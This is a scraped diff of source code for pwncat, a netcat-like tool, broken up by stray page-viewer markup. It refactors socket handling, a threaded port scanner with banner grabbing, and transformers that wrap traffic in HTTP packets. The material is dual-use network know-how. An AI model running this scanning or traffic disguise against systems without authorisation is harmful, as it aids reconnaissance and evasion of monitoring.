      # Get around the "[Errno 98] Address already in use" error, if the socket is still in wait # we instruct it to reuse the address anyway. - sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + if reuse_addr: + sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # If requested, set IP Type of Service value for current socket if ip_tos_name is not None: @@ -6947,18 +8036,24 @@

      pwncat

      Explicit (x4)"> self.__log.error(msg) raise socket.error(msg) - def accept(self, sockets, fstop): - # type: (List[socket.socket], Callable[[], bool]) -> Tuple[socket.socket, Tuple[str, int]] + def accept( + self, + sockets, # type: List[socket.socket] + has_quit, # type: Callable[[], bool] + select_timeout=0.01, # type: float + ): + # type: (...) -> Tuple[socket.socket, Tuple[str, int]] """Accept a single connection from given list of sockets. Given sockets must be bound to an addr and listening for connections. Args: sock ([socket.socket]): List of sockets IPv4 and/or IPv6 to accept on. - fstop (Callable[[], bool]): A function that returns True if abort is requested. + has_quit (Callable[[], bool]): A function that returns True if abort is requested. + select_timeout (float): Timeout to poll sockets for connected clients. Returns: - socket.socket: Returns the connection socket (whatever protocol was faster). + (socket.socket, str, int): Returns tuple of socket, address and port of client. Raises: socket.error: Raised if server cannot accept connection or stop signal is requested. @@ -6966,10 +8061,15 @@

      pwncat

      self.__log.debug("Waiting for TCP client") while True: + try: ssockets = select.select(sockets, [], [], 0.01)[0] # type: List[socket.socket] - if fstop(): - raise socket.error("StopSignal acknknowledged") +Explicit (x10)"> ssockets = select.select(sockets, [], [], select_timeout)[ + 0 + ] # type: List[socket.socket] + except select.error as err: + raise socket.error(err) + if has_quit(): + raise socket.error("SOCK-QUIT signal ACK for accept(): raised socket.error()") for sock in ssockets: try: conn, addr = sock.accept() @@ -7009,13 +8109,18 @@

      pwncat

      port (int): Port of server to connect to. Returns: - Tuple[str,int]: Adress/port tuple of local bin of the client. + Tuple[str,int]: Adress/port tuple of local bind of the client. Raises: socker.error: If client cannot connect to remote peer or custom bind did not succeed. """ - sock_family_name = self.get_family_name(sock.family) - sock_type_name = self.get_type_name(sock.type) + try: + # If the socket was already closed elsewhere, it won't have family or type anymore + sock_family_name = self.get_family_name(sock.family) + sock_type_name = self.get_type_name(sock.type) + except AttributeError as error: + raise socket.error(error) + # Bind to a custom addr/port if src_addr is not None and src_port is not None: try: @@ -7094,32 +8199,74 @@

      pwncat

      # -------------------------------------------------------------------------- # Destroy functions # -------------------------------------------------------------------------- - def close(self, sock, name): + def shutdown_recv(self, sock, name): # type: (socket.socket, str) -> None - """Shuts down and closes a socket. + """Shuts down a socket for receiving data (only allow to send data). Args: name (str): Name of the socket used for logging purposes. - sock (str): Socket to shutdown and close. + sock (str): Socket to shutdown for receive. """ try: # (SHUT_RD) 0 = Done receiving (disallows receiving) # (SHUT_WR) 1 = Done sending (disallows sending) # (SHUT_RDWR) 2 = Both self.__log.trace("Shutting down %s socket", name) # type: ignore - sock.shutdown(socket.SHUT_RDWR) - except (OSError, socket.error) as error: +Error (x2)"> self.__log.trace("Shutting down %s socket for receiving", name) # type: ignore + sock.shutdown(socket.SHUT_RD) + except (OSError, socket.error): # We do not log errors here, as unconnected sockets cannot # be shutdown and we want to throw any socket at this function. pass + + def shutdown_send(self, sock, name): + # type: (socket.socket, str) -> None + """Shuts down a socket for sending data (only allow to receive data). + + Args: + name (str): Name of the socket used for logging purposes. + sock (str): Socket to shutdown for send. + """ try: + # (SHUT_RD) 0 = Done receiving (disallows receiving) + # (SHUT_WR) 1 = Done sending (disallows sending) + # (SHUT_RDWR) 2 = Both self.__log.trace("Closing %s socket", name) # type: ignore +Error (x2)"> self.__log.trace("Shutting down %s socket for sending", name) # type: ignore + sock.shutdown(socket.SHUT_WR) + except (OSError, socket.error): + # We do not log errors here, as unconnected sockets cannot + # be shutdown and we want to throw any socket at this function. + pass + + def close(self, sock, name): # pylint: disable=unused-argument,no-self-use + # type: (socket.socket, str) -> None + """Shuts down and closes a socket. + + Args: + sock (socket.socket): Socket to shutdown and close. + name (str): Name of the socket used for logging purposes. + """ + # NOTE: Logging is removed here as this is too much overhead when using + # the port scanner (it will have thousands of threads and too many + # calls to the logger which will cause issues with its shutdown + # and a massive performance degrade as well. + try: + # (SHUT_RD) 0 = Done receiving (disallows receiving) + # (SHUT_WR) 1 = Done sending (disallows sending) + # (SHUT_RDWR) 2 = Both + # self.__log.trace("Shutting down %s socket", name) # type: ignore + sock.shutdown(socket.SHUT_RDWR) + except (OSError, socket.error): + # We do not log errors here, as unconnected sockets cannot + # be shutdown and we want to throw any socket at this function. + pass + try: + # self.__log.trace("Closing %s socket", name) # type: ignore sock.close() - except (OSError, socket.error) as error: - self.__log.trace("Could not close %s socket: %s", name, error) # type: ignore + except (OSError, socket.error): + pass + # self.__log.trace("Could not close %s socket: %s", name, error) # type: ignore class Net(object): @@ -7129,12 +8276,12 @@

      pwncat

      # Constructor / Destructor # -------------------------------------------------------------------------- def __init__(self, encoder, ssig, options): - # type: (StringEncoder, StopSignal, DsSock) -> None + # type: (StringEncoder, InterruptHandler, DsSock) -> None """Instantiate Sock class. Args: encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). - ssig (StopSignal): Used to stop blocking loops. + ssig (InterruptHandler): Used to stop blocking loops. options (DsSock): Instance of DsSock. """ self.__log = logging.getLogger(__name__) # type: logging.Logger @@ -7203,15 +8350,23 @@

      pwncat

      # -------------------------------------------------------------------------- # Public Send / Receive Functions # -------------------------------------------------------------------------- + def send_eof(self): + # type: () -> None + """Close the active socket for sending. The remote part will get an EOF.""" + self.__sock.shutdown_send(self.__active["conn"], "conn") + def send(self, data): - # type: (str) -> int + # type: (bytes) -> int """Send data through a connected (TCP) or unconnected (UDP) socket. Args: - data (str): The data to send. + data (bytes): The data to send. Returns: int: Returns total bytes sent. + + Raises: + socket.error: Except here when unconnected or connection was forcibly closed. """ # UDP has some specialities as its socket is unconnected. # See also recv() for specialities on that side. @@ -7224,16 +8379,19 @@

      pwncat

      self.__log.warning("UDP client has not yet connected. Queueing message") while not self.__active: + if self.__ssig.has_sock_quit(): + self.__log.trace( # type: ignore + "SOCK-QUIT signal ACK in Net.send (while waiting for UDP client)" + ) + return -1 time.sleep(0.01) curr = 0 # bytes send during one loop iteration send = 0 # total bytes send size = len(data) # bytes of data that needs to be send - byte = self.__enc.encode(data) - assert size == len(byte), "Encoding messed up string length, might need to do len() after." # Loop until all bytes have been send - # TODO: Does this make it impossible to send nullbytes (Ctrl+d) while send < size: self.__log.debug( @@ -7243,25 +8401,25 @@

      pwncat

      self.__active["remote_port"], ) self.__log.trace("Trying to send: %s", repr(byte)) # type: ignore +Error (x2)"> self.__log.trace("Trying to send: %s", repr(data)) # type: ignore try: # Only UDP server has not made a connect() to the socket, all others # are already connected and need to use send() instead of sendto() if self.__udp_mode_server: curr = self.__active["conn"].sendto( - byte, (self.__active["remote_addr"], self.__active["remote_port"]) + data, (self.__active["remote_addr"], self.__active["remote_port"]) ) send += curr else: - curr = self.__active["conn"].send(byte) + curr = self.__active["conn"].send(data) send += curr if curr == 0: self.__log.error("No bytes send during loop round.") return 0 # Remove 'curr' many bytes from byte for the next round - byte = byte[curr:] + data = data[curr:] self.__log.debug( "Sent %d bytes to %s:%d (%d bytes remaining)", @@ -7270,24 +8428,23 @@

      pwncat

      self.__active["remote_port"], size - send, ) - except (OSError, socket.error) as error: - self.__log.error("Socket OS Error: %s", error) - return send + except (IOError, OSError, socket.error) as error: + msg = "Socket send Error: {}".format(error) + raise socket.error(msg) return send def receive(self): - # type: () -> str + # type: () -> bytes """Receive and return data from the connected (TCP) or unconnected (UDP) socket. Returns: - str: Returns received data from connected (TCP) or unconnected (UDP) socket. + bytes: Returns received data from connected (TCP) or unconnected (UDP) socket. Raises: socket.timeout: Except here to do an action when the socket is not busy. AttributeError: Except here when current instance has closed itself (Ctrl+c). socket.error: Except here when unconnected or connection was forcibly closed. - EOFError: Except here when upstream has closed the connection. + EOFError: Except here when upstream has closed the connection via EOF. """ # This is required for a UDP server that has no connected clients yet # and is waiting for data receival for the first time on either IPv4 or IPv6 @@ -7304,10 +8461,10 @@

      pwncat

      0 ] # type: List[socket.socket] # E.g.: ValueError: file descriptor cannot be a negative integer (-1) - except (ValueError, AttributeError): - msg = "Connection was closed by self." + except (ValueError, AttributeError) as error: + msg = "Connection was closed by self: [1]: {}".format(error) self.__log.warning(msg) +Explicit (x4)"> self.__log.debug(msg) raise AttributeError(msg) if not conns: # This is raised for the calling function to determine what to do @@ -7319,13 +8476,13 @@

      pwncat

      conn = conns[0] # type: socket.socket try: # https://manpages.debian.org/buster/manpages-dev/recv.2.en.html - (byte, addr) = conn.recvfrom(self.__options.bufsize) + (data, addr) = conn.recvfrom(self.__options.bufsize) # [1/5] When closing itself (e.g.: via Ctrl+c and the socket_close() funcs are called) - except AttributeError: - msg = "Connection was closed by self." + except AttributeError as error: + msg = "Connection was closed by self: [2]: {}".format(error) self.__log.warning(msg) +Explicit (x4)"> self.__log.debug(msg) raise AttributeError(msg) # [2/5] Connection was forcibly closed @@ -7334,14 +8491,14 @@

      pwncat

      # [WinError 10054] An existing connection was forcibly closed by the remote host except (OSError, socket.error) as error: self.__log.warning("Connection error: %s", error) +Explicit (x4)"> self.__log.debug("Connection error: %s", error) raise socket.error(error) # [3/5] Upstream (server or client) is gone. # In TCP, there is no such thing as an empty message, so zero means a peer disconnect. # In UDP, there is no such thing as a peer disconnect, so zero means an empty datagram. - if not byte: - msg = "Upstream has closed the connection." + if not data: + msg = "EOF: Remote finished sending." self.__log.info(msg) raise EOFError(msg) @@ -7382,7 +8539,6 @@

      pwncat

      } # [5/5] We have data to process - data = self.__enc.decode(byte) self.__log.debug( "Received %d bytes from %s:%d", @@ -7419,6 +8575,7 @@

      pwncat

      "conn": self.__sock.create_socket( family, socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM, + True, self.__options.ip_tos, ) } @@ -7526,6 +8683,7 @@

      pwncat

      "sock": self.__sock.create_socket( family, socket.SOCK_DGRAM if self.__options.udp else socket.SOCK_STREAM, + True, self.__options.ip_tos, ) } @@ -7634,25 +8792,28 @@

      pwncat

      return False # (2/3) Accept + remove = {} try: conn, client = self.__sock.accept( - [conns[family]["sock"] for family in conns], self.__ssig.has_stop + [conns[family]["sock"] for family in conns], self.__ssig.has_sock_quit ) conns[conn.family]["conn"] = conn conns[conn.family]["remote_addr"] = client[0] conns[conn.family]["remote_port"] = client[1] except socket.error as err: - # On error, remove all bind sockets - for family in conns: + remove = {family: str(err) for family in conns} + # On error, remove all bind sockets + for family in remove: self.__log.debug( - "Removing (family %d/%s) due to: %s", - family, - self.__sock.get_family_name(family), - err, - ) - self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) - del conns[family] +Explicit (x4)"> self.__log.debug( + "Removing (family %d/%s) due to: %s", + family, + self.__sock.get_family_name(family), + remove[family], + ) + self.__sock.close(conns[family]["sock"], self.__sock.get_family_name(family)) + del conns[family] + if not conns: return False # (3/3) Store connections @@ -7686,7 +8847,7 @@

      pwncat

      # [2/3] Accept try: conn, client = self.__sock.accept( - [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_stop + [self.__conns[family]["sock"] for family in self.__conns], self.__ssig.has_sock_quit ) except socket.error: return False @@ -7727,7 +8888,7 @@

      pwncat

      # ################################################################################################# # ------------------------------------------------------------------------------------------------- -# [5/11 TRANSFORM]: (1/3): Transform +# [5/11 TRANSFORM]: (1/5): Transform # ------------------------------------------------------------------------------------------------- class Transform(ABC): # type: ignore """Abstract class to for pwncat I/O transformers. @@ -7759,16 +8920,19 @@

      pwncat

      # -------------------------------------------------------------------------- @abstractmethod def transform(self, data): - # type: (str) -> str + # type: (bytes) -> bytes """Implement a transformer function which transforms a string.. + Args: + data (bytes): data to be transformed. + Returns: - str: The transformed string. + bytes: The transformed string. """ # ------------------------------------------------------------------------------------------------- -# [5/11 TRANSFORM]: (2/3) TransformLinefeed +# [5/11 TRANSFORM]: (2/5) TransformLinefeed # ------------------------------------------------------------------------------------------------- class TransformLinefeed(Transform): """Implement basic linefeed replacement.""" @@ -7791,7 +8955,7 @@

      pwncat

      # Public Functions # -------------------------------------------------------------------------- def transform(self, data): - # type: (str) -> str + # type: (bytes) -> bytes """Transform linefeeds to CRLF, LF or CR if requested. Returns: @@ -7803,55 +8967,55 @@

      pwncat

      # ? -> No line feeds if self.__opts.crlf == "no": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Removing CRLF") return data[:-2] - if data.endswith("\n"): + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Removing LF") return data[:-1] - if data.endswith("\r"): + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Removing CR") return data[:-1] # ? -> CRLF - if self.__opts.crlf == "crlf" and not data.endswith("\r\n"): - if data.endswith("\n"): + if self.__opts.crlf == "crlf" and data[-2:] != StringEncoder.encode("\r\n"): + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Replacing LF with CRLF") - return data[:-1] + "\r\n" - if data.endswith("\r"): + return data[:-1] + StringEncoder.encode("\r\n") + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Replacing CR with CRLF") - return data[:-1] + "\r\n" + return data[:-1] + StringEncoder.encode("\r\n") # ? -> LF if self.__opts.crlf == "lf": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Replacing CRLF with LF") - return data[:-2] + "\n" - if data.endswith("\r"): + return data[:-2] + StringEncoder.encode("\n") + if data[-1:] == StringEncoder.encode("\r"): self.log.debug("Replacing CR with LF") - return data[:-1] + "\n" + return data[:-1] + StringEncoder.encode("\n") # ? -> CR if self.__opts.crlf == "cr": - if data.endswith("\r\n"): + if data[-2:] == StringEncoder.encode("\r\n"): self.log.debug("Replacing CRLF with CR") - return data[:-2] + "\r" - if data.endswith("\n"): + return data[:-2] + StringEncoder.encode("\r") + if data[-1:] == StringEncoder.encode("\n"): self.log.debug("Replacing LF with CR") - return data[:-1] + "\r" + return data[:-1] + StringEncoder.encode("\r") # Otherwise just return it as it is return data # ------------------------------------------------------------------------------------------------- -# [5/11 TRANSFORM]: (3/3) TransformSafeword +# [5/11 TRANSFORM]: (3/5) TransformSafeword # ------------------------------------------------------------------------------------------------- class TransformSafeword(Transform): """Implement a trigger to emergency shutdown upon receival of a specific safeword.""" @@ -7875,19 +9039,167 @@

      pwncat

      # Public Functions # -------------------------------------------------------------------------- def transform(self, data): - # type: (str) -> str + # type: (bytes) -> bytes """Raise a stop signal upon receiving the safeword. Returns: str: The string as it is without changes """ - if self.__opts.safeword in data: + if StringEncoder.encode(self.__opts.safeword) in data: self.__log.info("Received safeword: raising stop signal.") - self.__opts.ssig.raise_stop() +Error (x2)"> self.log.trace("TERMINATE signal RAISED in TransformSafeword.transform") # type: ignore + self.__opts.ssig.raise_terminate() return data +# ------------------------------------------------------------------------------------------------- +# [5/11 TRANSFORM]: (4/5) TransformHttpPack +# ------------------------------------------------------------------------------------------------- +class TransformHttpPack(Transform): + """Implement a transformation to pack data into HTTP packets.""" + + # -------------------------------------------------------------------------- + # Constructor / Destructor + # -------------------------------------------------------------------------- + def __init__(self, opts): + # type: (Dict[str, str]) -> None + """Set specific options for this transformer. + + Args: + opts (DsTransformLinefeed): Transformer options. + + """ + super(TransformHttpPack, self).__init__() + self.__opts = opts + self.__log = logging.getLogger(__name__) + + assert "reply" in opts + assert opts["reply"] in ["request", "response"] + + # Initial default header + self.__headers = [ + "Accept-Charset: utf-8", + ] + + self.__response_headers_sent = False + + # -------------------------------------------------------------------------- + # Public Functions + # -------------------------------------------------------------------------- + def transform(self, data): + # type: (bytes) -> bytes + """Wrap data into a HTTP packet. + + Returns: + bytes: The wrapped string. + """ + request_header = [ + "POST / HTTP/1.1", + "Host: {}".format(self.__opts["host"]), + "User-Agent: pwncat", + "Accept: */*", + "Conent-Length: {}".format(len(data)), + "Content-Type: text/plain; charset=UTF-8", + ] + response_header = [ + "HTTP/1.1 200 OK", + "Date: {}".format(self.__get_date()), + "Server: pwncat", + "Conent-Length: {}".format(len(data)), + "Connection: close", + ] + + self.__response_headers_sent = True + + if self.__opts["reply"] == "request": + header = StringEncoder.encode( + "\n".join(request_header) + "\n" + "\n".join(self.__headers) + "\n\n" + ) + else: + header = StringEncoder.encode( + "\n".join(response_header) + "\n" + "\n".join(self.__headers) + "\n\n" + ) + return header + data + + # -------------------------------------------------------------------------- + # Private Functions + # -------------------------------------------------------------------------- + def __get_date(self): # pylint: disable=no-self-use + # type: () -> str + now = datetime.utcnow() + weekday = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"][now.weekday()] + month = [ + "Jan", + "Feb", + "Mar", + "Apr", + "May", + "Jun", + "Jul", + "Aug", + "Sep", + "Oct", + "Nov", + "Dec", + ][now.month - 1] + return "%s, %02d %s %04d %02d:%02d:%02d GMT" % ( + weekday, + now.day, + month, + now.year, + now.hour, + now.minute, + now.second, + ) + + +# ------------------------------------------------------------------------------------------------- +# [5/11 TRANSFORM]: (5/5) TransformHttpUnpack +# ------------------------------------------------------------------------------------------------- +class TransformHttpUnpack(Transform): + """Implement a transformation to unpack data from HTTP packets.""" + + # -------------------------------------------------------------------------- + # Constructor / Destructor + # -------------------------------------------------------------------------- + def __init__(self, opts): + # type: (Dict[str, str]) -> None + """Set specific options for this transformer. + + Args: + opts (DsTransformLinefeed): Transformer options. + + """ + super(TransformHttpUnpack, self).__init__() + self.__opts = opts + self.__log = logging.getLogger(__name__) + + # -------------------------------------------------------------------------- + # Public Functions + # -------------------------------------------------------------------------- + def transform(self, data): + # type: (bytes) -> bytes + """Unwrap data from a HTTP packet. + + Returns: + str: The wrapped string. + """ + request = StringEncoder.encode(r"^(GET|HEAD|POST|PUT|DELETE|CONNECT|OPTIONS|TRACE|PATCH)") + response = StringEncoder.encode(r"^HTTP/[.0-9]+") + + # Did not receive a valid HTTP request, so we return the original untransformed message + if not (re.match(request, data) or re.match(response, data)): + return data + + body = StringEncoder.encode(r"(\r\n\r\n|\n\n)(.*)") + match = re.search(body, data) + + # Check if we can separate headers and body + if match is None or len(match.group()) < 2: + return data + return match.group(2) + + # ################################################################################################# # ################################################################################################# # ### @@ -7920,8 +9232,8 @@

      pwncat

      # -------------------------------------------------------------------------- @property def ssig(self): - # type: () -> StopSignal - """`StopSignal`: Read only property to provide a StopSignal instance to IO.""" + # type: () -> InterruptHandler + """`InterruptHandler`: InterruptHandler instance.""" return self.__ssig @property @@ -7935,11 +9247,11 @@

      pwncat

      # -------------------------------------------------------------------------- @abstractmethod def __init__(self, ssig): - # type: (StopSignal) -> None + # type: (InterruptHandler) -> None """Set specific options for this IO module. Args: - ssig (StopSignal): StopSignal instance used by the interrupter. + ssig (InterruptHandler): InterruptHandler instance used by the interrupter. """ super(IO, self).__init__() self.__ssig = ssig @@ -7951,7 +9263,7 @@

      pwncat

      @abstractmethod def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Implement a generator function which constantly yields data. The data could be from various sources such as: received from a socket, @@ -7963,7 +9275,7 @@

      pwncat

      @abstractmethod def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Define a consumer callback which will apply an action on the producer output. Args: @@ -7978,8 +9290,6 @@

      pwncat

      Various producer might call blocking functions and they won't be able to stop themself as they hang on that blocking function. NOTE: This method is triggered from outside and is supposed to stop/shutdown the producer. - - You should at least implement it with "self.ssig.raise_stop()" """ @@ -7989,12 +9299,18 @@

      pwncat

      class IONetwork(IO): """Pwncat implementation based on custom Socket library.""" + @property + def net(self): + # type: () -> Net + """Returns instance of Net.""" + return self.__net + # -------------------------------------------------------------------------- # Constructor / Destructor # -------------------------------------------------------------------------- def __init__( self, - ssig, # type: StopSignal + ssig, # type: InterruptHandler encoder, # type: StringEncoder host, # type: str ports, # type: List[int] @@ -8007,7 +9323,7 @@

      pwncat

      """Create a Pwncat instance of either a server or a client. Args: - ssig (StopSignal): Stop signal instance + ssig (InterruptHandler): Instance of InterruptHandler. encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). host (str): The hostname to resolve. ports ([int]): List of ports to connect to or listen on. @@ -8025,6 +9341,9 @@

      pwncat

      self.__srv_opts = srv_opts self.__cli_opts = cli_opts + # Did we already run cleanup + self.__cleaned_up = False + # Internally store addresses for reconn or rebind functions self.__host = host self.__ports = ports @@ -8044,7 +9363,7 @@

      pwncat

      # -------------------------------------------------------------------------- def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Network receive generator which hooks into the receive function and adds features. Yields: @@ -8060,9 +9379,17 @@

      pwncat

      try: yield self.__net.receive() # [2/3] Non-blocking socket is finished receiving data and allows us to do some action - except socket.timeout: + except socket.timeout as err: + # Check if we close the socket for sending + if self.ssig.has_sock_send_eof(): + self.log.trace( # type: ignore + "SOCK-SEND-EOF signal ACK in IONetwork.producer [1]: %s", err + ) + self.__net.send_eof() + # Let's ask the interrupter() function if we should terminate? - if not self.ssig.has_stop(): + if not self.ssig.has_sock_quit(): continue # Stop signal is raied when my own side of the network was closed. # Happened most likely that the user pressed Ctrl+c @@ -8078,12 +9405,21 @@

      pwncat

      curr_recv_timeout_retry += 1 continue # We ware all done reading, shut down - self.ssig.raise_stop() + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.producer [1]: %s", err + ) + self.__cleanup() return - # [3/3] Upstream is gone - except (EOFError, AttributeError, socket.error): + # [3/3] Connection was closed remotely (EOF) or locally (Ctrl+C or similar) + except (EOFError, AttributeError, socket.error) as err: # Do we have a stop signal? - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.producer [2]: %s", err + ) + self.__cleanup() return # Do we re-accept new clients? if self.__sock_opts.udp: @@ -8093,28 +9429,40 @@

      pwncat

      continue if self.__role == "client" and self.__client_reconnect_to_server(): continue - return + # Inform everybody that we are quitting + self.log.trace("SOCK-EOF signal RAISE in IONetwork.producer") # type: ignore + self.ssig.raise_sock_eof() def consumer(self, data): - # type: (str) -> None + # type: (bytes) -> None """Send data to a socket.""" - self.__net.send(data) + try: + self.__net.send(data) + except socket.error: + pass def interrupt(self): # type: () -> None """Stop function that can be called externally to close this instance.""" self.log.trace( # type: ignore - "[IONetwork] socket.close was raised by calling interrupt() externally." - ) - self.__net.close_conn_sock() - self.__net.close_bind_sock() - # Raise stop signal - self.ssig.raise_stop() +Error (x2)"> self.log.trace("SOCK-QUIT signal RAISE in IONetwork.interrupt") # type: ignore + self.ssig.raise_sock_quit() + self.__cleanup() # -------------------------------------------------------------------------- # Private Functions # -------------------------------------------------------------------------- + def __cleanup(self): + # type: () -> None + """Cleanup function.""" + if not self.__cleaned_up: + self.log.trace("SOCK-QUIT-CLEANUP: Closing sockets") # type: ignore + self.__net.close_conn_sock() + self.__net.close_bind_sock() + self.__cleaned_up = True + def __client_reconnect_to_server(self): # type: () -> bool """Ensure the client re-connects to the remote server, if the remote server hang up. @@ -8127,13 +9475,15 @@

      pwncat

      # reconn < 0 (endlessly) # reconn > 0 (reconnect until counter reaches zero) while self.__cli_opts.reconn != 0: - # [1/6] Let's ask the interrupter() function if we should terminate? # We need a little wait here in order for the stop signal to propagate. # Don't know how fast the other threads are. - # time.sleep(0.1) - # if self.ssig.has_stop(): - # return False + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [1]" + ) + return False # [2/6] Wait time.sleep(self.__cli_opts.reconn_wait) @@ -8141,7 +9491,11 @@

      pwncat

      # [3/6] Let's ask the interrupter() function if we should terminate? # In case the other threads were slower as the sleep time in [1/5] # we will check again here. - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__clienet_reconnect_to_server [2]" + ) return False # [4/6] Increment the port numer (if --reconn-robin has multiple) @@ -8188,7 +9542,11 @@

      pwncat

      while self.__srv_opts.rebind != 0: # [1/7] Let's ask the interrupter() function if we should terminate? - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__server_rebind [1]" + ) return False # [2/7] Increment the port numer (if --reconn-robin has multiple) @@ -8223,7 +9581,11 @@

      pwncat

      # [6/7] Let's ask the interrupter() function if we should terminate? # In case the other threads were slower as the sleep time in [1/7] # we will check again here. - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__server_rebind [2]" + ) return False # [6/7] Recurse until True or reconnect count is used up @@ -8254,9 +9616,13 @@

      pwncat

      # [MAYBE] Check stop signal and otherwise try until success. while True: - time.sleep(0.1) + time.sleep(0.01) # [NO] We have a stop signal - if self.ssig.has_stop(): + if self.ssig.has_sock_quit(): + self.log.trace( # type: ignore + "SOCK-QUIT signal ACK in IONetwork.__server_reaccept_from_client" + ) return False # [YES] Re-accept indefinitely # -------------------------------------------------------------------------- def __init__( self, - ssig, # type: StopSignal + ssig, # type: InterruptHandler encoder, # type: StringEncoder host, # type: str banner, # type: bool @@ -8309,7 +9675,7 @@

      pwncat

      """Create a Pwncat Network Scanner instance. Args: - ssig (StopSignal): Stop signal instance + ssig (InterruptHandler): Instance of InterruptHandler. encoder (StringEncoder): Instance of StringEncoder (Python2/3 str/byte compat). host (str): The hostname to resolve. banner (bool): Determines if we do banner grabbing as well. @@ -8318,19 +9684,19 @@

      pwncat

      """ super(IONetworkScanner, self).__init__(ssig) + self.__ssig = ssig self.__enc = encoder self.__cli_opts = cli_opts self.__sock_opts = sock_opts self.__banner = banner self.__log = logging.getLogger(__name__) - self.__net = Net(encoder, ssig, sock_opts) self.__sock = Sock() self.__screen_lock = threading.Semaphore() # Keep track of local binds (addr-port) of the threaded scanner # clients as we do not want to treat them as open ports (false posistives) - self.__local_binds = [] # type: List[str] + self.__local_binds = {} # type: Dict[str, socket.socket] # Compile our regexes if using banner detection if banner: @@ -8348,13 +9714,13 @@

      pwncat

      int(socket.AF_INET), ] self.__targets = {} - try: - for family in families: + for family in families: + try: self.__targets[family] = self.__sock.gethostbyname( host, family, not self.__sock_opts.nodns ) - except socket.gaierror: - pass + except socket.gaierror: + pass # -------------------------------------------------------------------------- # Public Functions @@ -8362,18 +9728,25 @@

      pwncat

      def __get_socket(self, family): # type: (Union[socket.AddressFamily, int]) -> socket.socket """Create socket for specific address family endlessly until resources are available.""" - # The scanner is starting many threads, each creating a single socket - # and we might hit the max allowed open files limit, so we will - # endlessly ask the system for a new socket until success. - # Also adding a delay, which will give other threads the time to - # release their sockets. + # The scanner starts one thread for each port to scan. Each thread will also create + # one socket and we might hit the max_allowed_files limit (ulimit). + # That's why we loop through creating sockets until we hit a success + # as in the meantime, other threads might have already released sockets/fd's. while True: + delay = 0.0 + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for IONetworkScanner._getsocket" + ) + raise socket.error("quit") try: if self.__sock_opts.udp: - return self.__sock.create_socket(family, socket.SOCK_DGRAM) - return self.__sock.create_socket(family, socket.SOCK_STREAM) + return self.__sock.create_socket(family, socket.SOCK_DGRAM, False) + return self.__sock.create_socket(family, socket.SOCK_STREAM, False) except socket.error: - time.sleep(0.1) + delay += 0.1 + time.sleep(delay) # This can be bigger to give the system some time to release fd's def __get_banner_version(self, banner): # type: (str) -> Optional[str] @@ -8390,7 +9763,7 @@

      pwncat

      for reg in self.BANNER_REG_COMP: match = re.search(reg, banner) if match: - return match.group(1).rstrip() + return StringEncoder.rstrip(match.group(1)) # type: ignore # Nothing found, return first non-empty line for line in lines: @@ -8409,20 +9782,26 @@

      pwncat

      payloads = self.BANNER_PAYLOADS[0] for payload in payloads: + # Break the loop on terminate signal + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for IONetworkScanner._getbanner: %s-%d", addr, port + ) + return (False, None) try: if payload is not None: sock.send(self.__enc.encode(payload)) self.__log.debug("%s:%d - payload sent: %s", addr, port, repr(payload)) - sock.settimeout(0.1) + sock.settimeout(0.5) banner = sock.recv(self.__sock_opts.bufsize) version = self.__get_banner_version(self.__enc.decode(banner)) self.__log.debug("%s:%d - respone received: %s", addr, port, repr(banner)) return (True, version) except socket.timeout: - time.sleep(0.1) continue except (OSError, socket.error): return (False, None) @@ -8430,7 +9809,7 @@

      pwncat

      def producer(self, *args, **kwargs): - # type: (Any, Any) -> Iterator[str] + # type: (Any, Any) -> Iterator[bytes] """Port scanner yielding open/closed string for given port. Args: @@ -8446,13 +9825,26 @@

      pwncat

      # Loop over adress families for family in self.__targets: + # [1/7] Check for termination request + if self.__ssig.has_terminate(): + self.log.trace( # type: ignore + "TERMINATE signal ACK for IONetworkScanner.producer" + ) + return + addr = self.__targets[family] - # [1/5] Get socket - sock = self.__get_socket(family) + # [2/7] Get socket + try: + sock = self.__get_socket(family) + sock_type = sock.type + except (AttributeError, socket.error): + # Exception is triggered due to stop stignal and we + # will abort here in that case. + return - # [2/5] Connect scan - succ_conn = False + # [3/7] Connect scan try: laddr, lport = self.__sock.connect( sock, @@ -8467,63 +9859,64 @@

      pwncat

